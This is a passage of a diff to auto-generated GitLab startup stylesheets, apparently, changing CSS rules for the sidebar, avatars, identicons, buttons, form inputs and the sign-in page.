+@media (max-width: 767.98px) {
+ body.sidebar-refactoring .close-nav-button {
+ display: flex;
+ }
+ body.sidebar-refactoring .toggle-sidebar-button {
+ display: none;
+ }
+}
+input::-moz-placeholder {
color: #868686;
opacity: 1;
}
-input::-ms-input-placeholder,
-textarea::-ms-input-placeholder {
+input::-ms-input-placeholder {
color: #868686;
}
-input:-ms-input-placeholder,
-textarea:-ms-input-placeholder {
+input:-ms-input-placeholder {
color: #868686;
}
svg {
fill: currentColor;
}
-
svg.s12 {
width: 12px;
height: 12px;
}
-
svg.s16 {
width: 16px;
height: 16px;
}
-
svg.s18 {
width: 18px;
height: 18px;
}
-
+svg.s32 {
+ width: 32px;
+ height: 32px;
+}
svg.s12 {
vertical-align: -1px;
}
-
svg.s16 {
vertical-align: -3px;
}
-.sr-only {
- position: absolute;
- width: 1px;
- height: 1px;
- padding: 0;
- margin: -1px;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- border: 0;
-}
-table.code {
- width: 100%;
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
- border: 0;
- border-collapse: separate;
- margin: 0;
- padding: 0;
- table-layout: fixed;
- border-radius: 0 0 4px 4px;
-}
-.frame .badge.badge-pill {
- position: absolute;
- background-color: #428fdc;
- color: #fff;
- border: #fff 1px solid;
- min-height: 16px;
- padding: 5px 8px;
- border-radius: 12px;
-}
-.frame .badge.badge-pill {
- transform: translate(-50%, -50%);
-}
-.color-label {
- padding: 0 0.5rem;
- line-height: 16px;
- border-radius: 100px;
- color: #fff;
-}
-.label-link {
- display: inline-flex;
- vertical-align: text-bottom;
-}
-.milestones {
- padding: 8px;
- margin-top: 8px;
- border-radius: 4px;
- background-color: #dbdbdb;
-}
.search {
margin: 0 8px;
}
.search form {
+ display: block;
margin: 0;
padding: 4px;
width: 200px;
@@ -1669,7 +1872,6 @@ table.code {
border: 0;
border-radius: 4px;
}
-
@media (min-width: 1200px) {
.search form {
width: 320px;
@@ -1713,43 +1915,43 @@ table.code {
max-height: 400px;
overflow: auto;
}
-
@media (min-width: 1200px) {
.search .search-input-wrap .dropdown-menu {
width: 320px;
}
}
-.search .search-input-wrap .dropdown-content {
- max-height: 382px;
+.search .identicon {
+ flex-basis: 16px;
+ flex-shrink: 0;
+ margin-right: 4px;
}
-.settings {
- border-top: 1px solid #dbdbdb;
-}
-.settings:first-of-type {
- margin-top: 10px;
- border: 0;
-}
-.settings + div .settings:first-of-type {
- margin-top: 0;
- border-top: 1px solid #dbdbdb;
-}
-.avatar, .avatar-container {
+.avatar,
+.avatar-container {
float: left;
margin-right: 16px;
border-radius: 50%;
border: 1px solid #f5f5f5;
}
-.s16.avatar, .s16.avatar-container {
+.avatar.s16,
+.avatar-container.s16 {
width: 16px;
height: 16px;
margin-right: 8px;
}
-.s18.avatar, .s18.avatar-container {
+.avatar.s18,
+.avatar-container.s18 {
width: 18px;
height: 18px;
margin-right: 8px;
}
-.s40.avatar, .s40.avatar-container {
+.avatar.s32,
+.avatar-container.s32 {
+ width: 32px;
+ height: 32px;
+ margin-right: 8px;
+}
+.avatar.s40,
+.avatar-container.s40 {
width: 40px;
height: 40px;
margin-right: 8px;
@@ -1763,15 +1965,49 @@ table.code {
overflow: hidden;
border-color: rgba(0, 0, 0, 0.1);
}
-.avatar.center {
- font-size: 14px;
- line-height: 1.8em;
- text-align: center;
-}
.avatar.avatar-tile {
border-radius: 0;
border: 0;
}
+.identicon {
+ text-align: center;
+ vertical-align: top;
+ color: #525252;
+ background-color: #eee;
+}
+.identicon.s16 {
+ font-size: 10px;
+ line-height: 16px;
+}
+.identicon.s32 {
+ font-size: 14px;
+ line-height: 32px;
+}
+.identicon.s40 {
+ font-size: 16px;
+ line-height: 38px;
+}
+.identicon.bg1 {
+ background-color: #ffebee;
+}
+.identicon.bg2 {
+ background-color: #f3e5f5;
+}
+.identicon.bg3 {
+ background-color: #e8eaf6;
+}
+.identicon.bg4 {
+ background-color: #e3f2fd;
+}
+.identicon.bg5 {
+ background-color: #e0f2f1;
+}
+.identicon.bg6 {
+ background-color: #fbe9e7;
+}
+.identicon.bg7 {
+ background-color: #eee;
+}
.avatar-container {
overflow: hidden;
display: flex;
@@ -1803,9 +2039,25 @@ table.code {
.rect-avatar.s18 {
border-radius: 2px;
}
+.rect-avatar.s32,
+body.sidebar-refactoring
+ .nav-sidebar-inner-scroll
+ > div.context-header
+ a
+ .avatar-container.rect-avatar
+ .avatar.s32,
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ .context-header
+ a
+ .avatar-container.rect-avatar
+ .avatar.s32 {
+ border-radius: 4px;
+}
.rect-avatar.s40 {
border-radius: 4px;
}
+
.tab-width-8 {
-moz-tab-size: 8;
tab-size: 8;
@@ -1821,12 +2073,40 @@ table.code {
white-space: nowrap;
width: 1px;
}
+.gl-border-none\! {
+ border-style: none !important;
+}
+.gl-display-none {
+ display: none;
+}
+@media (min-width: 36rem) {
+ .gl-sm-display-block {
+ display: block;
+ }
+}
+.gl-absolute {
+ position: absolute;
+}
+.gl-px-3 {
+ padding-left: 0.5rem;
+ padding-right: 0.5rem;
+}
+.gl-pr-2 {
+ padding-right: 0.25rem;
+}
.gl-ml-3 {
margin-left: 0.5rem;
}
-.content-wrapper > .alert-wrapper,
-#content-body, .modal-dialog {
- display: block;
+.gl-mx-0\! {
+ margin-left: 0 !important;
+ margin-right: 0 !important;
}
-@import 'cloaking';
+.gl-font-sm {
+ font-size: 0.75rem;
+}
+.gl-font-weight-bold {
+ font-weight: 600;
+}
+
+@import "startup/cloaking";
@include cloak-startup-scss(none);
diff --git a/app/assets/stylesheets/startup/startup-signin.scss b/app/assets/stylesheets/startup/startup-signin.scss
index 6b78abdb5e0..81a87742850 100644
--- a/app/assets/stylesheets/startup/startup-signin.scss
+++ b/app/assets/stylesheets/startup/startup-signin.scss
@@ -1,3 +1,6 @@
+// DO NOT EDIT! This is auto-generated from "yarn run generate:startup_css"
+// Please see the feedback issue for more details and help:
+// https://gitlab.com/gitlab-org/gitlab/-/issues/331812
@charset "UTF-8";
*,
*::before,
@@ -8,12 +11,14 @@ html {
font-family: sans-serif;
line-height: 1.15;
}
- header, nav, section {
+header {
display: block;
}
body {
margin: 0;
- font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Noto Sans", Ubuntu, Cantarell, "Helvetica Neue", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,
+ "Noto Sans", Ubuntu, Cantarell, "Helvetica Neue", sans-serif,
+ "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
font-size: 1rem;
font-weight: 400;
line-height: 1.5;
@@ -26,7 +31,8 @@ hr {
height: 0;
overflow: visible;
}
-h1, h2, h3 {
+h1,
+h3 {
margin-top: 0;
margin-bottom: 0.25rem;
}
@@ -34,52 +40,15 @@ p {
margin-top: 0;
margin-bottom: 1rem;
}
-address {
- margin-bottom: 1rem;
- font-style: normal;
- line-height: inherit;
-}
-
-ul {
- margin-top: 0;
- margin-bottom: 1rem;
-}
-
-ul ul {
- margin-bottom: 0;
-}
-
-strong {
- font-weight: bolder;
-}
-sub {
- position: relative;
- font-size: 75%;
- line-height: 0;
- vertical-align: baseline;
-}
-sub {
- bottom: -.25em;
-}
a {
color: #007bff;
text-decoration: none;
background-color: transparent;
}
-a:not([href]) {
+a:not([href]):not([class]) {
color: inherit;
text-decoration: none;
}
-pre,
-code {
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
- font-size: 1em;
-}
-pre {
- margin-top: 0;
- margin-bottom: 1rem;
- overflow: auto;
-}
img {
vertical-align: middle;
border-style: none;
@@ -88,89 +57,46 @@ svg {
overflow: hidden;
vertical-align: middle;
}
-table {
- border-collapse: collapse;
-}
-th {
- text-align: inherit;
-}
label {
display: inline-block;
margin-bottom: 0.5rem;
}
-button {
- border-radius: 0;
-}
-input,
-button,
-textarea {
+input {
margin: 0;
font-family: inherit;
font-size: inherit;
line-height: inherit;
}
-button,
input {
overflow: visible;
}
-button {
- text-transform: none;
-}
-button:not(:disabled),
-[type="button"]:not(:disabled),
-[type="reset"]:not(:disabled),
[type="submit"]:not(:disabled) {
cursor: pointer;
}
-button::-moz-focus-inner,
-[type="button"]::-moz-focus-inner,
-[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
padding: 0;
border-style: none;
}
-
-input[type="checkbox"] {
- box-sizing: border-box;
- padding: 0;
-}
-textarea {
- overflow: auto;
- resize: vertical;
-}
fieldset {
min-width: 0;
padding: 0;
margin: 0;
border: 0;
}
-[type="search"] {
- outline-offset: -2px;
-}
-summary {
- display: list-item;
- cursor: pointer;
-}
-template {
- display: none;
-}
[hidden] {
display: none !important;
}
-h1, h2, h3,
-.h1, .h2, .h3 {
+h1,
+h3 {
margin-bottom: 0.25rem;
font-weight: 600;
line-height: 1.2;
color: #303030;
}
-h1, .h1 {
+h1 {
font-size: 2.1875rem;
}
-h2, .h2 {
- font-size: 1.75rem;
-}
-h3, .h3 {
+h3 {
font-size: 1.53125rem;
}
hr {
@@ -179,28 +105,6 @@ hr {
border: 0;
border-top: 1px solid rgba(0, 0, 0, 0.1);
}
-.list-unstyled {
- padding-left: 0;
- list-style: none;
-}
-code {
- font-size: 90%;
- color: #1f1f1f;
- word-wrap: break-word;
-}
-a > code {
- color: inherit;
-}
-pre {
- display: block;
- font-size: 90%;
- color: #303030;
-}
-pre code {
- font-size: inherit;
- color: inherit;
- word-break: normal;
-}
.container {
width: 100%;
padding-right: 15px;
@@ -208,56 +112,21 @@ pre code {
margin-right: auto;
margin-left: auto;
}
-
@media (min-width: 576px) {
.container {
max-width: 540px;
}
}
-
@media (min-width: 768px) {
.container {
max-width: 720px;
}
}
-
@media (min-width: 992px) {
.container {
max-width: 960px;
}
}
-
-@media (min-width: 1200px) {
- .container {
- max-width: 1140px;
- }
-}
-.container-fluid {
- width: 100%;
- padding-right: 15px;
- padding-left: 15px;
- margin-right: auto;
- margin-left: auto;
-}
-
-@media (min-width: 576px) {
- .container {
- max-width: 540px;
- }
-}
-
-@media (min-width: 768px) {
- .container {
- max-width: 720px;
- }
-}
-
-@media (min-width: 992px) {
- .container {
- max-width: 960px;
- }
-}
-
@media (min-width: 1200px) {
.container {
max-width: 1140px;
@@ -269,19 +138,26 @@ pre code {
margin-right: -15px;
margin-left: -15px;
}
- .col-sm-5, .col-sm-7, .col-sm-12 {
+.col,
+.col-sm-5,
+.col-sm-7,
+.col-sm-12 {
position: relative;
width: 100%;
padding-right: 15px;
padding-left: 15px;
}
+.col {
+ flex-basis: 0;
+ flex-grow: 1;
+ max-width: 100%;
+}
.order-1 {
order: 1;
}
.order-12 {
order: 12;
}
-
@media (min-width: 576px) {
.col-sm-5 {
flex: 0 0 41.66667%;
@@ -302,18 +178,7 @@ pre code {
order: 12;
}
}
-.table {
- width: 100%;
- margin-bottom: 0.5rem;
- color: #303030;
-}
-.table th,
-.table td {
- padding: 0.75rem;
- vertical-align: top;
- border-top: 1px solid #dbdbdb;
-}
-.form-control, .search form {
+.form-control {
display: block;
width: 100%;
height: 34px;
@@ -327,52 +192,36 @@ pre code {
border: 1px solid #dbdbdb;
border-radius: 0.25rem;
}
-
@media (prefers-reduced-motion: reduce) {
}
-.form-control:-moz-focusring, .search form:-moz-focusring {
+.form-control:-moz-focusring {
color: transparent;
text-shadow: 0 0 0 #303030;
}
-.form-control::placeholder, .search form::placeholder {
+.form-control::-ms-input-placeholder {
color: #5e5e5e;
opacity: 1;
}
-.form-control:disabled, .search form:disabled {
- background-color: #fafafa;
+.form-control::placeholder {
+ color: #5e5e5e;
opacity: 1;
}
-textarea.form-control {
- height: auto;
+.form-control:disabled {
+ background-color: #fafafa;
+ opacity: 1;
}
.form-group {
margin-bottom: 1rem;
}
-.form-inline {
+.form-row {
display: flex;
- flex-flow: row wrap;
- align-items: center;
+ flex-wrap: wrap;
+ margin-right: -5px;
+ margin-left: -5px;
}
-
-@media (min-width: 576px) {
- .form-inline label {
- display: flex;
- align-items: center;
- justify-content: center;
- margin-bottom: 0;
- }
- .form-inline .form-group {
- display: flex;
- flex: 0 0 auto;
- flex-flow: row wrap;
- align-items: center;
- margin-bottom: 0;
- }
- .form-inline .form-control, .form-inline .search form, .search .form-inline form {
- display: inline-block;
- width: auto;
- vertical-align: middle;
- }
+.form-row > .col {
+ padding-right: 5px;
+ padding-left: 5px;
}
.btn {
display: inline-block;
@@ -380,7 +229,7 @@ textarea.form-control {
color: #303030;
text-align: center;
vertical-align: middle;
- cursor: pointer;
+ -moz-user-select: none;
user-select: none;
background-color: transparent;
border: 1px solid transparent;
@@ -389,147 +238,16 @@ textarea.form-control {
line-height: 20px;
border-radius: 0.25rem;
}
-
@media (prefers-reduced-motion: reduce) {
}
-.btn.disabled, .btn:disabled {
+.btn:disabled {
opacity: 0.65;
}
-a.btn.disabled,
-fieldset:disabled a.btn {
- pointer-events: none;
-}
-.btn-success {
- color: #fff;
- background-color: #108548;
- border-color: #108548;
-}
-.btn-success.disabled, .btn-success:disabled {
- color: #fff;
- background-color: #108548;
- border-color: #108548;
-}
-.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active,
-.show > .btn-success.dropdown-menu-toggle {
- color: #fff;
- background-color: #0b572f;
- border-color: #094c29;
-}
- .login-page input[type='submit'] {
- display: block;
- width: 100%;
-}
- .login-page input[type='submit'] + input[type='submit'] {
- margin-top: 0.5rem;
-}
- .login-page input[type="submit"][type='submit'],
-.login-page input[type="reset"][type='submit'],
-.login-page input[type="button"][type='submit'] {
- width: 100%;
-}
-.collapse:not(.show) {
- display: none;
-}
-
-.dropdown {
- position: relative;
-}
- .dropdown-menu-toggle {
- white-space: nowrap;
-}
- .dropdown-menu-toggle::after {
- display: inline-block;
- margin-left: 0.255em;
- vertical-align: 0.255em;
- content: "";
- border-top: 0.3em solid;
- border-right: 0.3em solid transparent;
- border-bottom: 0;
- border-left: 0.3em solid transparent;
-}
- .dropdown-menu-toggle:empty::after {
- margin-left: 0;
-}
-.dropdown-menu {
- position: absolute;
- top: 100%;
- left: 0;
- z-index: 1000;
- display: none;
- float: left;
- min-width: 10rem;
- padding: 0.5rem 0;
- margin: 0.125rem 0 0;
- font-size: 1rem;
- color: #303030;
- text-align: left;
- list-style: none;
- background-color: #fff;
- background-clip: padding-box;
- border: 1px solid rgba(0, 0, 0, 0.15);
- border-radius: 0.25rem;
-}
-.dropdown-menu-right {
- right: 0;
- left: auto;
-}
- .divider {
- height: 0;
- margin: 4px 0;
- overflow: hidden;
- border-top: 1px solid #dbdbdb;
-}
-.dropdown-menu.show {
- display: block;
-}
-.nav {
- display: flex;
- flex-wrap: wrap;
- padding-left: 0;
- margin-bottom: 0;
- list-style: none;
-}
-.nav-link {
- display: block;
- padding: 0.5rem 1rem;
+.btn:not(:disabled):not(.disabled) {
+ cursor: pointer;
}
-.nav-link.disabled {
- color: #5e5e5e;
+fieldset:disabled a.btn {
pointer-events: none;
- cursor: default;
-}
-.nav-tabs {
- border-bottom: 1px solid #999;
-}
-.nav-tabs .nav-item {
- margin-bottom: -1px;
-}
-.nav-tabs .nav-link {
- border: 1px solid transparent;
- border-top-left-radius: 0.25rem;
- border-top-right-radius: 0.25rem;
-}
-.nav-tabs .nav-link.disabled {
- color: #5e5e5e;
- background-color: transparent;
- border-color: transparent;
-}
-.nav-tabs .nav-link.active,
-.nav-tabs .nav-item.show .nav-link {
- color: #525252;
- background-color: #fff;
- border-color: #999 #999 #fff;
-}
-.nav-tabs .dropdown-menu {
- margin-top: -1px;
- border-top-left-radius: 0;
- border-top-right-radius: 0;
-}
-.tab-content > .tab-pane {
- display: none;
-}
-.tab-content > .active {
- display: block;
}
.navbar {
position: relative;
@@ -539,218 +257,18 @@ fieldset:disabled a.btn {
justify-content: space-between;
padding: 0.25rem 0.5rem;
}
-.navbar .container,
-.navbar .container-fluid {
+.navbar .container {
display: flex;
flex-wrap: wrap;
align-items: center;
justify-content: space-between;
}
-.navbar-nav {
- display: flex;
- flex-direction: column;
- padding-left: 0;
- margin-bottom: 0;
- list-style: none;
-}
-.navbar-nav .nav-link {
- padding-right: 0;
- padding-left: 0;
-}
-.navbar-nav .dropdown-menu {
- position: static;
- float: none;
-}
-.navbar-collapse {
- flex-basis: 100%;
- flex-grow: 1;
- align-items: center;
-}
-.navbar-toggler {
- padding: 0.25rem 0.75rem;
- font-size: 1.25rem;
- line-height: 1;
- background-color: transparent;
- border: 1px solid transparent;
- border-radius: 0.25rem;
-}
-
-@media (max-width: 575.98px) {
- .navbar-expand-sm > .container,
- .navbar-expand-sm > .container-fluid {
- padding-right: 0;
- padding-left: 0;
- }
-}
-
-@media (min-width: 576px) {
- .navbar-expand-sm {
- flex-flow: row nowrap;
- justify-content: flex-start;
- }
- .navbar-expand-sm .navbar-nav {
- flex-direction: row;
- }
- .navbar-expand-sm .navbar-nav .dropdown-menu {
- position: absolute;
- }
- .navbar-expand-sm .navbar-nav .nav-link {
- padding-right: 0.5rem;
- padding-left: 0.5rem;
- }
- .navbar-expand-sm > .container,
- .navbar-expand-sm > .container-fluid {
- flex-wrap: nowrap;
- }
- .navbar-expand-sm .navbar-collapse {
- display: flex !important;
- flex-basis: auto;
- }
- .navbar-expand-sm .navbar-toggler {
- display: none;
- }
-}
-.card {
- position: relative;
- display: flex;
- flex-direction: column;
- min-width: 0;
- word-wrap: break-word;
- background-color: #fff;
- background-clip: border-box;
- border: 1px solid #dbdbdb;
- border-radius: 0.25rem;
-}
-.card > hr {
- margin-right: 0;
- margin-left: 0;
-}
-.badge {
- display: inline-block;
- padding: 0.25em 0.4em;
- font-size: 75%;
- font-weight: 600;
- line-height: 1;
- text-align: center;
- white-space: nowrap;
- vertical-align: baseline;
- border-radius: 0.25rem;
-}
-
-@media (prefers-reduced-motion: reduce) {
-}
-.badge:empty {
- display: none;
-}
-.btn .badge {
- position: relative;
- top: -1px;
-}
-.badge-pill {
- padding-right: 0.6em;
- padding-left: 0.6em;
- border-radius: 10rem;
-}
-.media {
- display: flex;
- align-items: flex-start;
-}
-.close {
- float: right;
- font-size: 1.5rem;
- font-weight: 600;
- line-height: 1;
- color: #000;
- text-shadow: 0 1px 0 #fff;
- opacity: .5;
-}
-button.close {
- padding: 0;
- background-color: transparent;
- border: 0;
- appearance: none;
-}
-a.close.disabled {
- pointer-events: none;
-}
-.modal-dialog {
- position: relative;
- width: auto;
- margin: 0.5rem;
- pointer-events: none;
-}
-
-@media (min-width: 576px) {
- .modal-dialog {
- max-width: 500px;
- margin: 1.75rem auto;
- }
-}
-.bg-transparent {
- background-color: transparent !important;
-}
-.border {
- border: 1px solid #dbdbdb !important;
-}
-.border-top {
- border-top: 1px solid #dbdbdb !important;
-}
-.border-right {
- border-right: 1px solid #dbdbdb !important;
-}
-.border-bottom {
- border-bottom: 1px solid #dbdbdb !important;
-}
-.border-left {
- border-left: 1px solid #dbdbdb !important;
-}
-.rounded {
- border-radius: 0.25rem !important;
-}
-.clearfix::after {
- display: block;
- clear: both;
- content: "";
-}
-.d-none {
- display: none !important;
-}
-.d-inline-block {
- display: inline-block !important;
-}
.d-block {
display: block !important;
}
.d-flex {
display: flex !important;
}
-
-@media (min-width: 576px) {
- .d-sm-none {
- display: none !important;
- }
-}
-
-@media (min-width: 768px) {
- .d-md-block {
- display: block !important;
- }
-}
-
-@media (min-width: 992px) {
- .d-lg-none {
- display: none !important;
- }
- .d-lg-block {
- display: block !important;
- }
-}
-
-@media (min-width: 1200px) {
- .d-xl-block {
- display: block !important;
- }
-}
.flex-wrap {
flex-wrap: wrap !important;
}
@@ -760,9 +278,6 @@ a.close.disabled {
.align-items-center {
align-items: center !important;
}
-.float-right {
- float: right !important;
-}
.fixed-top {
position: fixed;
top: 0;
@@ -770,16 +285,8 @@ a.close.disabled {
left: 0;
z-index: 1030;
}
-.sr-only {
- position: absolute;
- width: 1px;
- height: 1px;
- padding: 0;
- margin: -1px;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- white-space: nowrap;
- border: 0;
+.ml-2 {
+ margin-left: 0.5rem !important;
}
.mt-3 {
margin-top: 1rem !important;
@@ -787,100 +294,129 @@ a.close.disabled {
.mb-3 {
margin-bottom: 1rem !important;
}
-.m-auto {
- margin: auto !important;
-}
-
@media (min-width: 576px) {
.mt-sm-0 {
margin-top: 0 !important;
}
}
-.text-nowrap {
- white-space: nowrap !important;
-}
-.text-left {
- text-align: left !important;
+.text-center {
+ text-align: center !important;
}
.font-weight-normal {
font-weight: 400 !important;
}
-.visible {
- visibility: visible !important;
-}
-.form-control.focus, .search form.focus {
- color: #303030;
+.gl-form-input,
+.gl-form-input.form-control {
background-color: #fff;
- border-color: #80bdff;
- outline: 0;
- box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,
+ "Noto Sans", Ubuntu, Cantarell, "Helvetica Neue", sans-serif,
+ "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+ font-size: 0.875rem;
+ line-height: 1rem;
+ padding-top: 0.5rem;
+ padding-bottom: 0.5rem;
+ padding-left: 0.75rem;
+ padding-right: 0.75rem;
+ height: auto;
+ color: #303030;
+ box-shadow: inset 0 0 0 1px #868686;
+ border-style: none;
+ appearance: none;
+ -moz-appearance: none;
}
-input[type="color"].form-control {
- height: 34px;
- padding: 0.125rem 0.25rem;
+.gl-form-input:not(.form-control-plaintext):-moz-read-only,
+.gl-form-input.form-control:not(.form-control-plaintext):-moz-read-only {
+ background-color: #fafafa;
+ color: #868686;
+ box-shadow: inset 0 0 0 1px #dbdbdb;
+ cursor: not-allowed;
}
-input[type="color"].form-control:disabled {
- background-color: #666;
- opacity: 0.65;
+.gl-form-input:disabled,
+.gl-form-input:not(.form-control-plaintext):read-only,
+.gl-form-input.form-control:disabled,
+.gl-form-input.form-control:not(.form-control-plaintext):read-only {
+ background-color: #fafafa;
+ color: #868686;
+ box-shadow: inset 0 0 0 1px #dbdbdb;
+ cursor: not-allowed;
+}
+.gl-form-input::-ms-input-placeholder,
+.gl-form-input.form-control::-ms-input-placeholder {
+ color: #868686;
}
-.gl-badge {
+.gl-form-input::placeholder,
+.gl-form-input.form-control::placeholder {
+ color: #868686;
+}
+.gl-button {
display: inline-flex;
- align-items: center;
- font-size: 0.75rem;
- font-weight: 400;
+}
+.gl-button:not(.btn-link):active {
+ text-decoration: none;
+}
+.gl-button.gl-button {
+ border-width: 0;
+ padding-top: 0.5rem;
+ padding-bottom: 0.5rem;
+ padding-left: 0.75rem;
+ padding-right: 0.75rem;
+ background-color: transparent;
line-height: 1rem;
- padding-top: 0.25rem;
- padding-bottom: 0.25rem;
- padding-left: 0.5rem;
- padding-right: 0.5rem;
+ color: #303030;
+ fill: currentColor;
+ box-shadow: inset 0 0 0 1px #bfbfbf;
+ justify-content: center;
+ align-items: center;
+ font-size: 0.875rem;
+ border-radius: 0.25rem;
+}
+.gl-button.gl-button .gl-button-icon {
+ height: 1rem;
+ width: 1rem;
+ flex-shrink: 0;
+ margin-right: 0.25rem;
+ top: auto;
+}
+.gl-button.gl-button.btn-default {
+ background-color: #fff;
+}
+.gl-button.gl-button.btn-default:active {
+ box-shadow: inset 0 0 0 2px #5e5e5e, 0 0 0 1px rgba(255, 255, 255, 0.4),
+ 0 0 0 4px rgba(31, 117, 203, 0.48);
outline: none;
+ background-color: #dbdbdb;
+}
+.gl-button.gl-button.btn-confirm {
+ color: #fff;
}
-body, .form-control, .search form,
-.search form {
+.gl-button.gl-button.btn-confirm {
+ background-color: #1f75cb;
+ box-shadow: inset 0 0 0 1px #1068bf;
+}
+.gl-button.gl-button.btn-confirm:active {
+ box-shadow: inset 0 0 0 2px #033464, 0 0 0 1px rgba(255, 255, 255, 0.4),
+ 0 0 0 4px rgba(31, 117, 203, 0.48);
+ outline: none;
+ background-color: #0b5cad;
+}
+body,
+.form-control {
font-size: 0.875rem;
}
-button,
-html [type='button'],
-[type='reset'],
-[type='submit'],
-[role='button'] {
+[type="submit"] {
cursor: pointer;
}
h1,
-.h1,
-h2,
-.h2,
-h3,
-.h3 {
+h3 {
margin-top: 20px;
margin-bottom: 10px;
}
-input[type='file'] {
- line-height: 1;
-}
-
-strong {
- font-weight: bold;
-}
a {
color: #1068bf;
}
hr {
overflow: hidden;
}
-code {
- padding: 2px 4px;
- color: #1f1f1f;
- background-color: #f0f0f0;
- border-radius: 4px;
-}
-.code > code {
- background-color: inherit;
- padding: unset;
-}
-table {
- border-spacing: 0;
-}
.hidden {
display: none !important;
visibility: hidden !important;
@@ -888,39 +424,6 @@ table {
.hide {
display: none;
}
- .dropdown-menu-toggle::after {
- display: none;
-}
-.badge:not(.gl-badge),
-.label {
- padding: 4px 5px;
- font-size: 12px;
- font-style: normal;
- font-weight: 400;
- display: inline-block;
-}
-.nav-tabs {
- border-bottom: 0;
-}
-.nav-tabs .nav-link {
- border-top: 0;
- border-left: 0;
- border-right: 0;
-}
-.nav-tabs .nav-item {
- margin-bottom: 0;
-}
-pre code {
- white-space: pre-wrap;
-}
-input[type="color"].form-control {
- height: 34px;
-}
-.toggle-sidebar-button .collapse-text,
-.toggle-sidebar-button .icon-chevron-double-lg-left,
-.toggle-sidebar-button .icon-chevron-double-lg-right {
- color: #666;
-}
svg {
vertical-align: baseline;
}
@@ -933,10 +436,6 @@ body {
body.navless {
background-color: #fff !important;
}
-.content-wrapper {
- margin-top: 40px;
- padding-bottom: 100px;
-}
.container {
padding-top: 0;
z-index: 5;
@@ -944,18 +443,11 @@ body.navless {
.container .content {
margin: 0;
}
-
@media (max-width: 575.98px) {
.container .content {
margin-top: 20px;
}
}
-
-@media (max-width: 575.98px) {
- .container .container .title {
- padding-left: 15px !important;
- }
-}
.navless-container {
margin-top: 40px;
padding-top: 32px;
@@ -971,259 +463,35 @@ body.navless {
color: #303030;
white-space: nowrap;
}
-.btn:active, .btn.active {
- box-shadow: rgba(0, 0, 0, 0.16);
+.btn:active {
+ background-color: #f0f0f0;
+ box-shadow: none;
+}
+.btn:active {
background-color: #eaeaea;
border-color: #e3e3e3;
color: #303030;
}
-.btn.btn-success {
- background-color: #108548;
- border-color: #217645;
- color: #fff;
-}
-.btn.btn-success:active, .btn.btn-success.active {
- box-shadow: rgba(0, 0, 0, 0.16);
- background-color: #24663b;
- border-color: #0d532a;
- color: #fff;
-}
.btn svg {
height: 15px;
width: 15px;
}
-.btn svg:not(:last-child),
-.btn .fa:not(:last-child) {
+.btn svg:not(:last-child) {
margin-right: 5px;
}
- .login-page input[type='submit'] {
- width: 100%;
- margin: 0;
- margin-bottom: 15px;
-}
- .login-page input.btn[type='submit'] {
- padding: 6px 0;
-}
-.badge.badge-pill:not(.gl-badge) {
- font-weight: 400;
- background-color: rgba(0, 0, 0, 0.07);
- color: #525252;
- vertical-align: baseline;
-}
-.hint {
- font-style: italic;
- color: #bfbfbf;
-}
-.bold {
- font-weight: 600;
-}
-.tab-content {
- overflow: visible;
-}
-pre.wrap {
- word-break: break-word;
- white-space: pre-wrap;
+.light {
+ color: #303030;
}
hr {
- margin: 24px 0;
+ margin: 1.5rem 0;
border-top: 1px solid #eee;
}
-table a code {
- position: relative;
- top: -2px;
- margin-right: 3px;
-}
-.loading {
- margin: 20px auto;
- height: 40px;
- color: #525252;
- font-size: 32px;
- text-align: center;
-}
-.highlight {
- text-shadow: none;
-}
-.chart {
- overflow: hidden;
- height: 220px;
-}
.footer-links {
margin-bottom: 20px;
}
.footer-links a {
margin-right: 15px;
}
-.break-word {
- word-wrap: break-word;
-}
-.append-bottom-20 {
- margin-bottom: 20px;
-}
-.center {
- text-align: center;
-}
-.block {
- display: block;
-}
-.flex {
- display: flex;
-}
-.flex-grow {
- flex-grow: 1;
-}
-.dropdown {
- position: relative;
-}
-.show.dropdown .dropdown-menu {
- transform: translateY(0);
- display: block;
- min-height: 40px;
- max-height: 312px;
- overflow-y: auto;
-}
-
-@media (max-width: 575.98px) {
- .show.dropdown .dropdown-menu {
- width: 100%;
- }
-}
- .show.dropdown .dropdown-menu-toggle,
-.show.dropdown .dropdown-menu-toggle {
- border-color: #c4c4c4;
-}
-.show.dropdown [data-toggle='dropdown'] {
- outline: 0;
-}
-.search-input-container .dropdown-menu {
- margin-top: 11px;
-}
- .dropdown-menu-toggle {
- padding: 6px 8px 6px 10px;
- background-color: #fff;
- color: #303030;
- font-size: 14px;
- text-align: left;
- border: 1px solid #dbdbdb;
- border-radius: 0.25rem;
- white-space: nowrap;
-}
- .no-outline.dropdown-menu-toggle {
- outline: 0;
-}
- .dropdown-menu-toggle .fa {
- color: #c4c4c4;
-}
-.dropdown-menu-toggle {
- padding-right: 25px;
- position: relative;
- width: 160px;
- text-overflow: ellipsis;
- overflow: hidden;
-}
-.dropdown-menu-toggle .fa {
- position: absolute;
-}
-.dropdown-menu {
- display: none;
- position: absolute;
- width: auto;
- top: 100%;
- z-index: 300;
- min-width: 240px;
- max-width: 500px;
- margin-top: 4px;
- margin-bottom: 24px;
- font-size: 14px;
- font-weight: 400;
- padding: 8px 0;
- background-color: #fff;
- border: 1px solid #dbdbdb;
- border-radius: 0.25rem;
- box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
-}
-.dropdown-menu ul {
- margin: 0;
- padding: 0;
-}
-.dropdown-menu li {
- display: block;
- text-align: left;
- list-style: none;
- padding: 0 1px;
-}
